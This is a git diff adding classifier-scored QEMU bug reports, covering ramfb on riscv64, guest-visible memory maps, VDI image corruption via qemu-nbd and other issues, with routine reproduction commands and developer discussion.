`__libc_init_first': +(.text+0x10): relocation truncated to fit: R_AARCH64_LD64_GOTPAGE_LO15 against symbol `__environ' defined in .bss section in /usr/lib/gcc/aarch64-unknown-linux-gnu/12.1.0/../../../../lib/libc.a(environ.o) +/usr/bin/ld: (.text+0x10): warning: too many GOT entries for -fpic, please recompile with -fPIC +collect2: error: ld returned 1 exit status +distcc[61410] ERROR: compile (null) on localhost failed +``` +Additional information: +Full [meson-log.txt](/uploads/05059722cb81b10bd9977a17fd51f048/meson-log.txt) and [config.log](/uploads/1cbd8a5fe5c48c3af83e1cbba6a89ce8/config.log) diff --git a/results/classifier/108/graphic/1343 b/results/classifier/108/graphic/1343 new file mode 100644 index 000000000..801344f56 --- /dev/null +++ b/results/classifier/108/graphic/1343 @@ -0,0 +1,51 @@ +graphic: 0.926 +device: 0.869 +files: 0.674 +PID: 0.627 +permissions: 0.608 +debug: 0.531 +performance: 0.516 +semantic: 0.505 +other: 0.492 +vnc: 0.489 +socket: 0.489 +boot: 0.438 +network: 0.337 +KVM: 0.120 + +qemu-system-riscv64: It cannot initialize ramfb video adapter +Description of problem: +It looks like ramfb video adapter doesn't work in riscv64 architecture. But it works fine in aarch64 architecture. +Steps to reproduce: +1. Launch the [attached kernel](/uploads/43282fa1bd6959472af4f99646b447b9/kernel) with command: +``` +qemu-system-riscv64 -machine virt -kernel kernel -device ramfb -bios none -serial stdio +``` +2. You will get the messages in console: +``` +guest fw_cfg dma-interface enabled +setup ramfb successfull +``` +3. Video adapter will not initialize. QEMU window will continue display this message: +``` +Guest has not initialized the display (yet). +``` +Additional information: +There is a useful project for aarch64 architecture - https://github.com/luickk/qemu-ramfb-aarch64-driver. This is a Bare metal driver for ramfb adapter. It works fine. I adapted it for riscv64 architecture - https://github.com/CityAceE/qemu-ramfb-riscv64-driver. I've successfully went through all problems. Driver compiles now and launches. But unfortunately ramfb doesn't initialize. I parallel traced aarch64 and riscv64. They works equal until initialization. Aarch64 changes revolution just after qemu_cfg_write_entry call, but nothing happened after qemu_cfg_write_entry call in riscv64 emulation. I spent a lot of time trying to resolve this problem, but it looks like a problem in qemu-system-riscv64. + +**UPDATE** + +Tested with Windows builds of QEMU: + +v 6.1 - The same situation as Ubuntu build 6.2. + +v 7.1.92 - Stopped with message: +``` +c:\Program Files\qemu\qemu-system-riscv64.exe: -device ramfb: ramfb device requires fw_cfg with DMA +``` + +P.S. v 7.1.92 - qemu-system-aarch64.exe with [aarch64 kernel build](/uploads/0df1d440163913c25a1505032672e1c5/kernel) works fine. + +**UPDATE2** + +[QEMU emulator version 7.0.0 (v7.0.0-11902-g1d935f4a02-dirty)](https://qemu.weilnetz.de/w64/2022/qemu-w64-setup-20220419.exe) is the last Windows build which opens my riscv64 kernel without message about requirement of fw_cfg with DMA. Next build "QEMU emulator version 7.0.90 (v7.1.0-rc0-11915-g5f9b281b8a-dirty)" already has this issue. diff --git a/results/classifier/108/graphic/1346784 b/results/classifier/108/graphic/1346784 new file mode 100644 index 000000000..0c303bcb5 --- /dev/null +++ b/results/classifier/108/graphic/1346784 @@ -0,0 +1,86 @@ +graphic: 0.965 +other: 0.962 +permissions: 0.957 +semantic: 0.940 +KVM: 0.916 +device: 0.910 +socket: 0.909 +performance: 0.904 +PID: 0.889 +vnc: 0.887 +network: 0.871 +debug: 0.856 +files: 0.781 +boot: 0.732 + +qemu internal memory areas visible to a guest via /proc/self/maps + + +Qemu internal memory areas are not suppressed in the output and are visible to a guest via /proc/self/maps. + +$ echo "int main() { return 0; }" > /tmp/test.c +$ gcc -m32 -fsanitize=address -fno-common -Wall -g -fPIC -o /tmp/test /tmp/test.c +$ qemu-i386-static -R 0 /tmp/test + +We use -R option because the binary can't be executed under stock version of Qemu with address sanitizer instrumentations (Asan). + +Qemu memory map looks the following way where GUEST valid addresses are marked with ***** and invalid with @@@: + +***** 08048000-08049000 r-xp 00000000 08:01 28835889 /tmp/test +***** 08049000-0804a000 rw-p 00000000 08:01 28835889 /tmp/test +***** 1ffff000-24000000 rw-p 00000000 00:00 0 +***** 24000000-28000000 ---p 00000000 00:00 0 +***** 28000000-40000000 rw-p 00000000 00:00 0 +***** 40000000-40001000 ---p 00000000 00:00 0 +***** 40001000-40801000 rw-p 00000000 00:00 0 [stack] +***** 40801000-40821000 r-xp 00000000 08:01 26738694 /lib32/ld-2.19.so +***** 40821000-40822000 r--p 0001f000 08:01 26738694 /lib32/ld-2.19.so +***** 40822000-40823000 rw-p 00020000 08:01 26738694 /lib32/ld-2.19.so +***** 40823000-40827000 rw-p 00000000 00:00 0 +***** 40827000-408ca000 r-xp 00000000 08:01 49424994 /home/michail/build/lib32/libasan.so.1.0.0 +***** 408ca000-408cc000 rw-p 000a3000 08:01 49424994 /home/michail/build/lib32/libasan.so.1.0.0 +***** 408cc000-40d24000 rw-p 00000000 00:00 0 +***** 40d3c000-40ee2000 r-xp 00000000 08:01 26738695 /lib32/libc-2.19.so +***** 40ee2000-40ee4000 r--p 001a6000 08:01 26738695 /lib32/libc-2.19.so +***** 40ee4000-40ee5000 rw-p 001a8000 08:01 26738695 /lib32/libc-2.19.so +***** 40ee5000-40ee8000 rw-p 00000000 00:00 0 +***** 40ee8000-40f00000 r-xp 00000000 08:01 26738711 /lib32/libpthread-2.19.so +***** 40f00000-40f01000 r--p 00017000 08:01 26738711 /lib32/libpthread-2.19.so +***** 40f01000-40f02000 rw-p 00018000 08:01 26738711 /lib32/libpthread-2.19.so +***** 40f02000-40f04000 rw-p 00000000 00:00 0 +***** 40f04000-40f07000 r-xp 00000000 08:01 26738708 /lib32/libdl-2.19.so +***** 40f07000-40f08000 r--p 00002000 08:01 26738708 /lib32/libdl-2.19.so +***** 40f08000-40f09000 rw-p 00003000 08:01 26738708 /lib32/libdl-2.19.so +***** 40f09000-40fee000 r-xp 00000000 08:01 49424965 /home/michail/build/lib32/libstdc++.so.6.0.20 +***** 40fee000-40ff2000 r--p 000e5000 08:01 49424965 /home/michail/build/lib32/libstdc++.so.6.0.20 +***** 40ff2000-40ff3000 rw-p 000e9000 08:01 49424965 /home/michail/build/lib32/libstdc++.so.6.0.20 +***** 40ff3000-40ffa000 rw-p 00000000 00:00 0 +***** 40ffa000-4103e000 r-xp 00000000 08:01 26738698 /lib32/libm-2.19.so +***** 4103e000-4103f000 r--p 00043000 08:01 26738698 /lib32/libm-2.19.so +***** 4103f000-41040000 rw-p 00044000 08:01 26738698 /lib32/libm-2.19.so +***** 41040000-41041000 rw-p 00000000 00:00 0 +***** 41041000-4105b000 r-xp 00000000 08:01 49424637 /home/michail/build/lib32/libgcc_s.so.1 +***** 4105b000-4105c000 rw-p 00019000 08:01 49424637 /home/michail/build/lib32/libgcc_s.so.1 +***** 4105c000-4105e000 rw-p 00000000 00:00 0 +***** 4105f000-41061000 rw-p 00000000 00:00 0 +***** 41065000-421ed000 rw-p 00000000 00:00 0 +***** 421ee000-421f1000 rw-p 00000000 00:00 0 +***** 60000000-6033b000 r-xp 00000000 08:01 48760980 /home/michail/build/bin/qemu-i386-static +***** 6053b000-60546000 rw-p 0033b000 08:01 48760980 /home/michail/build/bin/qemu-i386-static +***** 60546000-6059a000 rw-p 00000000 00:00 0 +***** 6059a000-6259b000 rwxp 00000000 00:00 0 +***** 6259b000-625ae000 rw-p 00000000 00:00 0 +***** 62dce000-62e12000 rw-p 00000000 00:00 0 [heap] +@@@ 7f3f5e6a9000 - 7f3f61f28000 rw-p 00000000 00:00 0 +@@@ 7fffad130000 - 7fffad132000 r-xp 00000000 00:00 0 [vdso] +@@@ ffffffffff600000 - ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] + +qemu-i386-static and its heap are in ranges which are valid and be reported to guest in case of maps file reading. + +The issue is related to early reported bugs: +http://lists.nongnu.org/archive/html/qemu-devel/2014-07/msg02793.html +http://lists.nongnu.org/archive/html/qemu-devel/2014-07/msg03085.html + +I think this had been fixed here: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=d67f4aaae8379b44b3b51ff0 + diff --git a/results/classifier/108/graphic/1356 b/results/classifier/108/graphic/1356 new file mode 100644 index 000000000..3f2ab1968 --- /dev/null +++ b/results/classifier/108/graphic/1356 @@ -0,0 +1,32 @@ +graphic: 0.954 +device: 0.808 +debug: 0.661 +KVM: 0.629 +network: 0.605 +performance: 0.522 +vnc: 0.478 +semantic: 0.453 +other: 0.353 +PID: 0.342 +boot: 0.331 +socket: 0.325 +files: 0.180 +permissions: 0.151 + +"-set device" doesn't work with device specified in json +Description of problem: +The above QEMU command line results in: +``` +qemu-system-x86_64: -set device.ua-igd.x-igd-gms=1: there is no device "ua-igd" defined +``` +While the following command works: +``` +qemu-system-x86_64 -accel kvm -m 8192 -nodefaults -display none -net none -device vfio-pci,host=0000:00:02.0,id=ua-igd -set device.ua-igd.x-igd-gms=1 +``` +libvirt has moved to the json device specification, therefore I can no longer associate use a <qemu:commandline> section to set driver options for a specific device with this broken id association. +Steps to reproduce: +1. Create a device with an ID and use -set device.$ID to set a driver option for the device +2. Note failure when using json device format vs legacy device specification +3. Profit +Additional information: + diff --git a/results/classifier/108/graphic/1360 b/results/classifier/108/graphic/1360 new file mode 100644 index 000000000..ff4b6d7c8 --- /dev/null +++ b/results/classifier/108/graphic/1360 @@ -0,0 +1,34 @@ +graphic: 0.934 +semantic: 0.818 +device: 0.795 +debug: 0.639 +PID: 0.635 +network: 0.541 +permissions: 0.513 +files: 0.507 +boot: 0.455 +performance: 0.442 +socket: 0.439 +vnc: 0.343 +other: 0.267 +KVM: 0.069 + +Starting using WSL fails even if the same image is valid when starting qemu directly from windows +Description of problem: +I'm trying to follow a rust tutorial on writing a custom OS in rust. https://os.phil-opp.com/minimal-rust-kernel/ +The problem occurse when trying to run qemu from wsl. If I run qemu from a windows command line everything works as expected. +If I run the os calling qemu (installed on windows) from wsl it fails with + +``` +ERROR:../../../block.c:1715:bdrv_open_driver: assertion failed: (is_power_of_2(bs->bl.request_alignment)) +Bail out! ERROR:../../../block.c:1715:bdrv_open_driver: assertion failed: (is_power_of_2(bs->bl.request_alignment)) +``` + +I also found an old bug report that seemed to be the same issue in the old issue tracker: https://bugs.launchpad.net/qemu/+bug/1893807 +Steps to reproduce: +1. Sample code can be found at `https://github.com/phil-opp/blog_os` branch: `post-02` +2. create wsl environment +3. run `cargo install bootimage` only required on the once to install bootimage +4. run `cargo build` +5. run `cargo bootimage` to create the image +6. `qemu-system-x86_64 -drive format=raw,file=target/x86_64-blog_os/debug/bootimage-blog-os.bin` diff --git a/results/classifier/108/graphic/1368 b/results/classifier/108/graphic/1368 new file mode 100644 index 000000000..c824e054f --- /dev/null +++ b/results/classifier/108/graphic/1368 @@ -0,0 +1,53 @@ +graphic: 0.963 +performance: 0.929 +device: 0.914 +debug: 0.913 +vnc: 0.782 +semantic: 0.777 +boot: 0.755 +KVM: 0.741 +PID: 0.661 +network: 0.578 +socket: 0.537 +permissions: 0.503 +files: 0.439 +other: 0.371 + +unexpect rax value +Description of problem: +- When I execute "mov -0x8(%rbp), %rax" and "movq 0xb8000, (%rax)", the value of rax should be 0x7fedf but it is 0x7fefe. It is 1 less. +Steps to reproduce: +- 1. Code currently executed +<pre> +(gdb) x/2i $pc +=> 0x2202 <vga_init+12>: mov -0x8(%rbp),%rax + 0x2206 <vga_init+16>: movq $0xb8000,(%rax) +</pre> +- 2. Value of memory address -0x8(%rbp) +<pre> +(gdb) x /xg $rbp-0x8 +0x7fec8: 0x000000000007fedf +</pre> +- 3. Value of rax before execution +<pre> +(gdb) p /x $rax +$1 = 0xfffffffd +</pre> +- 4. Value of rax after execution +<pre> +(gdb) p /x $rax +$1 = 0x7fedf +</pre> +It's all right so far. +- 5. View the current execution code again +<pre> +(gdb) x/i $pc +=> 0x2207 <vga_init+17>: movl $0xb8000,(%rax) +</pre> +the code address changed from 0x2206 to 0x2207 and the code changed from "movq xx, xx" to "movl xx, xx".<br> +Now rax is 0x7fedf. +- 6. After execution<br> +After executing "movl $0xb8000,(%rax)"<br> +The rax change to 0x7fede +Additional information: + diff --git a/results/classifier/108/graphic/1380 b/results/classifier/108/graphic/1380 new file mode 100644 index 000000000..77aeda983 --- /dev/null +++ b/results/classifier/108/graphic/1380 @@ -0,0 +1,19 @@ +graphic: 0.984 +other: 0.821 +network: 0.778 +performance: 0.730 +device: 0.717 +socket: 0.698 +semantic: 0.539 +files: 0.505 +PID: 0.486 +permissions: 0.466 +debug: 0.422 +boot: 0.366 +vnc: 0.346 +KVM: 0.019 + +vdagent is not working properly after live migration +Additional information: +when validating on windows server 2016 Datacenter Evaluation, i found that if vdagent process or vdservice is restarted, copy/paste from host to guest or reverse will work again. i am wondering if we should send something(eg, a event?) to guest to let it reopen the port after live migration? + diff --git a/results/classifier/108/graphic/1395958 b/results/classifier/108/graphic/1395958 new file mode 100644 index 000000000..858a66d55 --- /dev/null +++ b/results/classifier/108/graphic/1395958 @@ -0,0 +1,65 @@ +graphic: 0.923 +device: 0.825 +performance: 0.774 +debug: 0.773 +PID: 0.734 +semantic: 0.633 +network: 0.523 +vnc: 0.449 +socket: 0.436 +boot: 0.435 +other: 0.416 +files: 0.378 +permissions: 0.334 +KVM: 0.092 + +boost managed_shared_memory segment on arm emulator crashes + +The following code segment crashes when run: + +#include <boost/interprocess/managed_shared_memory.hpp> +#include <boost/interprocess/allocators/allocator.hpp> +#include <boost/interprocess/containers/map.hpp> +#include <boost/interprocess/containers/vector.hpp> +#include <boost/interprocess/containers/string.hpp> + +using namespace boost::interprocess; + +int main(int argc, char** argv) +{ + namespace bi = boost::interprocess; + const char* name = "foobar"; + bi::shared_memory_object::remove(name); + bi::managed_shared_memory segment(bi::create_only, name, 10 * 1024); +} + +using qemu-arm-static +qemu-arm version 1.5.0 (Debian 1.5.0-2013.06+git74+20130802+ef1b0ae-3linaroprecise1), Copyright (c) 2003-2008 Fabrice Bellard + + +Any idea? + + uname -a +Linux ratin-dev 2.6.32 #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 armv7l armv7l armv7l GNU/Linux + + + +remote GDB (via local host ) +QEMU: Terminated via GDBstub +root@ratin-dev:/usr/local/bin# qemu-arm-static -g 1234 /usr/local/bin/test +terminate called after throwing an instance of 'boost::interprocess::interprocess_exception' + what(): Function not implemented + + +(gdb) +14 bi::managed_shared_memory segment(bi::create_only, name, 10 * 1024); +(gdb) + +Program received signal SIGABRT, Aborted. +0xf661d706 in ?? () from /lib/arm-linux-gnueabihf/libc.so.6 +(gdb) quit + + +This test case works OK for me with current QEMU head-of-git, so I think we've fixed this bug (it was probably a missing-syscall, guessing from the "function not implemented" text in the exception.) + + diff --git a/results/classifier/108/graphic/1396 b/results/classifier/108/graphic/1396 new file mode 100644 index 000000000..81bdfd394 --- /dev/null +++ b/results/classifier/108/graphic/1396 @@ -0,0 +1,18 @@ +graphic: 0.968 +device: 0.964 +semantic: 0.954 +performance: 0.873 +debug: 0.866 +other: 0.865 +PID: 0.812 +vnc: 0.740 +socket: 0.691 +boot: 0.645 +permissions: 0.504 +network: 0.490 +files: 0.379 +KVM: 0.202 + +Is it possible to emulate QEMU 64 Bit on Windows? +Description of problem: +Is it possible to emulate 64 Bit OS on Windows QEMU version? I'm trying to emulate ESXi image but the ESXi says it can only start 32 bit VM's. When I try to start a 64 bit VM from the ESXi I get the error `Task failed on server: Module 'CPUID' power on failed. `. diff --git a/results/classifier/108/graphic/1401 b/results/classifier/108/graphic/1401 new file mode 100644 index 000000000..833e613f2 --- /dev/null +++ b/results/classifier/108/graphic/1401 @@ -0,0 +1,35 @@ +graphic: 0.931 +device: 0.786 +debug: 0.573 +network: 0.553 +semantic: 0.533 +PID: 0.509 +other: 0.469 +vnc: 0.468 +socket: 0.410 +boot: 0.383 +performance: 0.335 +KVM: 0.301 +files: 0.300 +permissions: 0.112 + +configure uses break outside loop +Description of problem: +When running `configure` in version 7.2.0, the following message is printed multiple times: + +``` +qemu/configure: line 1885: break: only meaningful in a `for', `while', or `until' loop +``` +Steps to reproduce: +Running `configure` should be enough. My complete configure command is: + +``` +/bin/bash ./configure \ + --prefix=$PREFIX/qemu --sysconfdir=/etc$PREFIX/qemu \ + --includedir=$PREFIX/qemu/include --bindir=$PREFIX/qemu/bin \ + --sbindir=$PREFIX/qemu/sbin --libdir=$PREFIX/qemu/lib/amd64 \ + --libexecdir=$PREFIX/qemu/libexec/amd64 \ + --localstatedir=/var$PREFIX/qemu +``` +Additional information: +The `configure` script has `break;` in a conditional, where `:` would suffice (or the conditional could just be negated) diff --git a/results/classifier/108/graphic/1404 b/results/classifier/108/graphic/1404 new file mode 100644 index 000000000..50f2e452c --- /dev/null +++ b/results/classifier/108/graphic/1404 @@ -0,0 +1,29 @@ +graphic: 0.976 +performance: 0.945 +device: 0.874 +boot: 0.723 +PID: 0.676 +other: 0.648 +vnc: 0.597 +debug: 0.547 +permissions: 0.535 +files: 0.504 +semantic: 0.487 +socket: 0.433 +network: 0.335 +KVM: 0.049 + +qemu-7.2: virtio-blk-pci I/O errors with detect-zeroes=unmap +Description of problem: +Since upgrading from qemu-7.1 to qemu-7.2 I have seen many anomalies with VMs that use the virtio-blk-pci device for the root filesystem and the `detect-zeroes=unmap` option, typically in the form of I/O errors or huge decreases in read/write performance. This has been observed for both pre-existing Linux & Windows systems using the QCOW2 disk format, and a freshly created Linux system. + +* For an existing x86_64 Windows-10 guest system, hosted on Debian-11, the guest system takes many minutes to boot and Task Manager shows the virtual disk showing read/write latencies measured in seconds rather than milliseconds. +* Attempts to create a new x86_64 Debian-11 guest on a Debian-11 host produce an input/output error when trying to partition the QCOW2 hard disk /dev/vda (as per attached screenshot)  +* Using a pre-existing Debian-11 guest that works perfectly with qemu-7.1, fails to format a basic ext3 /dev/loop filesystem when this guest is booted with qemu-7.2, giving `mke2fs: Input/output error while writing out and closing file system` +Steps to reproduce: +(installer error) +1. Create fresh QCOW2 image: `qemu-img create -f qcow2 deb11.img 8G` +2. Run standard Debian-11 installer from ISO image and virtio-blk-pci drive and options `-drive if=none,media=disk,id=drive0,file=deb11.img,cache=writeback,discard=unmap,detect-zeroes=unmap` +3. Use default options with "guided partitioning" +Additional information: +I'm not aware of any changes to the setup of my system that would account for these problems, and have successfully tried many similar experiments with QEMU version up to and including version 7.1. Obviously, I'm hoping there's some trivial configuration error I've overlooked in qemu-7.2 - any suggestions would be much appreciated. diff --git a/results/classifier/108/graphic/1422307 b/results/classifier/108/graphic/1422307 new file mode 100644 index 000000000..923faa6ad --- /dev/null +++ b/results/classifier/108/graphic/1422307 @@ -0,0 +1,285 @@ +graphic: 0.984 +debug: 0.978 +other: 0.968 +performance: 0.967 +semantic: 0.964 +PID: 0.961 +device: 0.959 +socket: 0.954 +files: 0.944 +boot: 0.943 +vnc: 0.941 +permissions: 0.936 +network: 0.933 +KVM: 0.890 + +qemu-nbd corrupts files + +Dear all, + +On Trusty, in certain situations, try to copy files over a qemu-nbd mounted file system leads to write errors (and thus, file corruption). + +Here is the last example I tried: +-> virtual disk is a VDI disk +-> It has only one partition, in FAT + +Here is my mount process: +# modprobe nbd max_part=63 +# qemu-nbd -c /dev/nbd0 "virtual_disk.vdi" +# partprobe /dev/nbd0 +# mount /dev/nbd0p1 /tmp/mnt/ + +Partition is properly mounted at that point: +/dev/nbd0p1 on /tmp/mnt type vfat (rw) + +Now, when I copy a file (rather big, ~28MB): +# cp file_to_copy /tmp/mnt/ ; sync +# md5sum /tmp/mnt/file_to_copy +2efc9f32e4267782b11d63d2f128a363 /tmp/mnt/file_to_copy +# umount /tmp/mnt +# mount /dev/nbd0p1 /tmp/mnt/ +# md5sum /tmp/mnt/file_to_copy +42b0a3bf73f704d03ce301716d7654de /tmp/mnt/file_to_copy + +The first hash was obviously the right one. + +On a previous attempt I did, I spotted thanks to vbindiff that parts of the file were just filed with 0s instead of actual data. +It will randomly work after several attempts to write. + +Version information: +# qemu-nbd --version +qemu-nbd version 0.0.1 +Written by Anthony Liguori. + +Cheers, + +Hi Pierre, + +I can reproduce the bug with a 2 GB VDI image with a single FAT32-formatted partition (on git master): + +# cp src.vdi test.vdi +# ./qemu-nbd -c /dev/nbd0 test.vdi +# dd if=/dev/urandom of=/dev/nbd0 bs=1M count=64 +64+0 records in +64+0 records out +67108864 bytes (67 MB) copied, 3.34091 s, 20.1 MB/s +# md5sum /dev/nbd0 +bfa6726d0d8fe752c0c7dccbf770fae6 /dev/nbd0 +# sync +# echo 1 > /proc/sys/vm/drop_caches +# md5sum /dev/nbd0 +cb4762769e09ed6da5e327710bfb3996 /dev/nbd0 +# ./qemu-nbd -d /dev/nbd0 +/dev/nbd0 disconnected + +Using qcow2 or not using NBD I cannot reproduce the issue. Using a qcow2 image and converting it to VDI, the issue appears again. + +Using an empty VDI image, or one filled with random data, the issue does not appear either. + +I have attached a qcow2 image for others to test: + +# ./qemu-img convert -O vdi src.qcow2 test.vdi; ./qemu-nbd -c /dev/nbd0 test.vdi; dd if=/dev/urandom of=/dev/nbd0 bs=1M count=64; md5sum /dev/nbd0; sync; echo 1 > /proc/sys/vm/drop_caches; md5sum /dev/nbd0; ./qemu-nbd -d /dev/nbd0 +64+0 records in +64+0 records out +67108864 bytes (67 MB) copied, 3.33071 s, 20.1 MB/s +9f683b4a58cecdd8da04ec2f1b7abc4a /dev/nbd0 +efb1cdd5ebe1dd326056eb2f2e500944 /dev/nbd0 +/dev/nbd0 disconnected + +Unfortunately, I do not yet know the cause of this issue. + +Max + + + +For whatever reason, using an empty image now works for me, too: + +$ ./qemu-img create -f vdi test.vdi 64M; ./qemu-nbd -c /dev/nbd0 test.vdi; dd if=/dev/urandom of=/dev/nbd0 bs=1K count=16384; md5sum /dev/nbd0; sync; echo 1 > /proc/sys/vm/drop_caches; md5sum /dev/nbd0; ./qemu-nbd -d /dev/nbd0 +Formatting 'test.vdi', fmt=vdi size=67108864 static=off +16384+0 records in +16384+0 records out +16777216 bytes (17 MB) copied, 0.982225 s, 17.1 MB/s +216f7abbf90bf2539163396bdb7fd7b9 /dev/nbd0 +a42faf71124c1f6102fa39cea82a1c86 /dev/nbd0 +/dev/nbd0 disconnected + +Writing less than 16384 kB, the issue is not always reproducible; for me, it disappears around 16160 kB (it's fuzzy, sometimes it appears, sometimes it doesn't). + +So far I was only able to reproduce the issue by connecting qemu-nbd to the the Linux NBD interface; connecting to qemu-nbd via TCP worked fine. + +So, a couple of test cases: + +VDI and NBD over /dev/nbd0: +# for i in $(seq 0 9); do ./qemu-img create -f vdi test.vdi 64M > /dev/null; ./qemu-nbd -c /dev/nbd0 test.vdi; sleep 1; ./qemu-img convert -n blob.raw /dev/nbd0; ./qemu-img convert /dev/nbd0 test1.raw; sync; echo 1 > /proc/sys/vm/drop_caches; ./qemu-img convert /dev/nbd0 test2.raw; ./qemu-nbd -d /dev/nbd0 > /dev/null; if ! ./qemu-img compare -q test1.raw test2.raw; then md5sum test1.raw test2.raw; echo "$i failed"; break; fi; done; echo 'done' +e5185b807948d65bb4e837d992cea429 test1.raw +9907ca700f6ee4d4cdb136bb90fd8df1 test2.raw +6 failed +done + +VDI and NBD over TCP: +# for i in $(seq 0 9); do ./qemu-img create -f vdi test.vdi 64M > /dev/null; (./qemu-nbd -t test.vdi &); sleep 1; ./qemu-img convert -n blob.raw nbd://localhost; ./qemu-img convert nbd://localhost test1.raw; sync; echo 1 > /proc/sys/vm/drop_caches; ./qemu-img convert nbd://localhost test2.raw; killall qemu-nbd; if ! ./qemu-img compare -q test1.raw test2.raw; then md5sum test1.raw test2.raw; echo "$i failed"; break; fi; done; echo 'done' +done + +VDI and NBD over a Unix socket: +# for i in $(seq 0 9); do ./qemu-img create -f vdi test.vdi 64M > /dev/null; (./qemu-nbd -k /tmp/nbd -t test.vdi &); sleep 1; ./qemu-img convert -n blob.raw nbd+unix:///\?socket=/tmp/nbd; ./qemu-img convert nbd+unix:///\?socket=/tmp/nbd test1.raw; sync; echo 1 > /proc/sys/vm/drop_caches; ./qemu-img convert nbd+unix:///\?socket=/tmp/nbd test2.raw; killall qemu-nbd; if ! ./qemu-img compare -q test1.raw test2.raw; then md5sum test1.raw test2.raw; echo "$i failed"; break; fi; done; echo 'done' +done + +VDI without NBD: +# for i in $(seq 0 9); do ./qemu-img create -f vdi test.vdi 64M > /dev/null; ./qemu-img convert -n -O vdi blob.raw test.vdi; ./qemu-img convert test.vdi test1.raw; sync; echo 1 > /proc/sys/vm/drop_caches; ./qemu-img convert test.vdi test2.raw; if ! ./qemu-img compare -q test1.raw test2.raw; then md5sum test1.raw test2.raw; echo "$i failed"; break; fi; done; echo 'done' +done + +qcow2 and NBD over /dev/nbd0: +# for i in $(seq 0 9); do ./qemu-img create -f qcow2 test.qcow2 64M > /dev/null; ./qemu-nbd -c /dev/nbd0 test.qcow2; sleep 1; ./qemu-img convert -n blob.raw /dev/nbd0; ./qemu-img convert /dev/nbd0 test1.raw; sync; echo 1 > /proc/sys/vm/drop_caches; ./qemu-img convert /dev/nbd0 test2.raw; ./qemu-nbd -d /dev/nbd0 > /dev/null; if ! ./qemu-img compare -q test1.raw test2.raw; then md5sum test1.raw test2.raw; echo "$i failed"; break; fi; done; echo 'done' +done + +raw and NBD over /dev/nbd0: +# for i in $(seq 0 9); do ./qemu-img create -f raw test.raw 64M > /dev/null; ./qemu-nbd -f raw -c /dev/nbd0 test.raw; sleep 1; ./qemu-img convert -n blob.raw /dev/nbd0; ./qemu-img convert /dev/nbd0 test1.raw; sync; echo 1 > /proc/sys/vm/drop_caches; ./qemu-img convert /dev/nbd0 test2.raw; ./qemu-nbd -d /dev/nbd0 > /dev/null; if ! ./qemu-img compare -q test1.raw test2.raw; then md5sum test1.raw test2.raw; echo "$i failed"; break; fi; done; echo 'done' +done + +In conclusion, the only combination I can reproduce the issue with is VDI with NBD over the Linux NBD interface. It doesn't seem to be the kernel's fault because other file formats work fine; it doesn't seem to be qemu-nbd's fault because not using the kernel interface works fine; and it doesn't seem to be VDI's fault because not using NBD or at least using NBD over TCP or Unix sockets works fine, too. + +I'll keep looking into it. + +Max + +First insight: Having the VDI image in tmpfs or using --cache=none for qemu-nbd changes nothing, therefore the reason why dropping the caches affects the result is probably Linux's cache for the NBD block device. + +Second insight: Using blkverify makes it look very much like qemu's VDI implementation is the culprit: + +# for i in $(seq 0 9); do ./qemu-img create -f vdi /tmp/test.vdi 64M > /dev/null; ./qemu-img create -f raw /tmp/test.raw 64M > /dev/null; (./qemu-nbd -v -f raw -c /dev/nbd0 blkverify:/tmp/test.raw:/tmp/test.vdi &); sleep 1; ./qemu-img convert -n blob.raw /dev/nbd0; ./qemu-img convert /dev/nbd0 /tmp/test1.raw; sync; echo 1 > /proc/sys/vm/drop_caches; ./qemu-img convert /dev/nbd0 /tmp/test2.raw; ./qemu-nbd -d /dev/nbd0 > /dev/null; if ! ./qemu-img compare -q /tmp/test1.raw /tmp/test2.raw; then md5sum /tmp/test1.raw /tmp/test2.raw; echo "$i failed"; break; fi; done; echo 'done' +NBD device /dev/nbd0 is now connected to blkverify:/tmp/test.raw:/tmp/test.vdi +NBD device /dev/nbd0 is now connected to blkverify:/tmp/test.raw:/tmp/test.vdi +NBD device /dev/nbd0 is now connected to blkverify:/tmp/test.raw:/tmp/test.vdi +blkverify: read sector_num=27872 nb_sectors=256 contents mismatch in sector 27904 +blkverify: read sector_num=28128 nb_sectors=256 contents mismatch in sector 28128 +qemu-img: error while reading sector 24576: Input/output error +e5185b807948d65bb4e837d992cea429 /tmp/test1.raw +b8a195424a240ed77c849d89002fa23b /tmp/test2.raw +2 failed +done + +Max + +I succeeded to reproduce the bug without NBD: + +$ ./qemu-img create -f vdi test.vdi 2G +Formatting 'test.vdi', fmt=vdi size=2147483648 static=off +$ ./qemu-img create -f raw test.raw 2G +Formatting 'test.raw', fmt=raw size=2147483648 +$ x86_64-softmmu/qemu-system-x86_64 -enable-kvm -drive if=virtio,file=blkverify:test.raw:test.vdi,format=raw -drive if=virtio,file=data.img,format=raw,format=raw -cdrom ~/tmp/arch.iso -m 512 -boot d +blkverify: read sector_num=810976 nb_sectors=256 contents mismatch in sector 811008 + +Operations in the guest: +$ dd if=/dev/vdb of=/dev/vda +$ dd if=/dev/vda of=/dev/null + +So it really looks like something's broken in qemu's VDI block driver. + +Max + +Adding some locking in qemu's VDI implementation makes the bug disappear, at least I can't reproduce it anymore. I'll send a patch. + +Max + +So, if I understand well, it's "just" some kind of race condition in the handling of writes in the VDI driver of Qemu? + +Does that mean it can also affect VMs running with VDI disk(s)? + +On Wed, Feb 18, 2015 at 09:11:57AM -0000, Pierre Schweitzer wrote: +> Does that mean it can also affect VMs running with VDI disk(s)? + +Yes, that's what Max's example showed. + +Note that only raw, qcow2, and qed support in QEMU is designed for +running guests. The other formats like vmdk and vdi are mainly for +qemu-img convert and will perform poorly because they don't handle +parallel I/O requests. + +Stefan + + +Thanks Max & Stefan. + +Could you please let me know when the commit makes it to the QEMU repository? And give me its commit ID? + +So that I can ask for a bugfix backport in Trusty. + +On Thu, Feb 19, 2015 at 05:48:03PM -0000, Pierre Schweitzer wrote: +> Thanks Max & Stefan. +> +> Could you please let me know when the commit makes it to the QEMU +> repository? And give me its commit ID? +> +> So that I can ask for a bugfix backport in Trusty. + +Hi Pierre, +In case I forget, please follow this patch series from Max: +http://patchwork.ozlabs.org/patch/440713/ + +Stefan + + +Hi, +Was the patch abandoned? I haven't seen any further progress on it for a month... +Cheers, + +Hi, + +Has this patch already been incorporated? I'm observing the bug as well when copying files into a VDI image. + +Kind regards, + +Nicolas + +Hi Nicolas, + +It (that is, its v2) has been merged into upstream master (http://git.qemu.org/?p=qemu.git;a=commit;h=f0ab6f109630940146cbaf47d0cd99993ddba824) and is part of qemu 2.3.0 (and will probably become part of 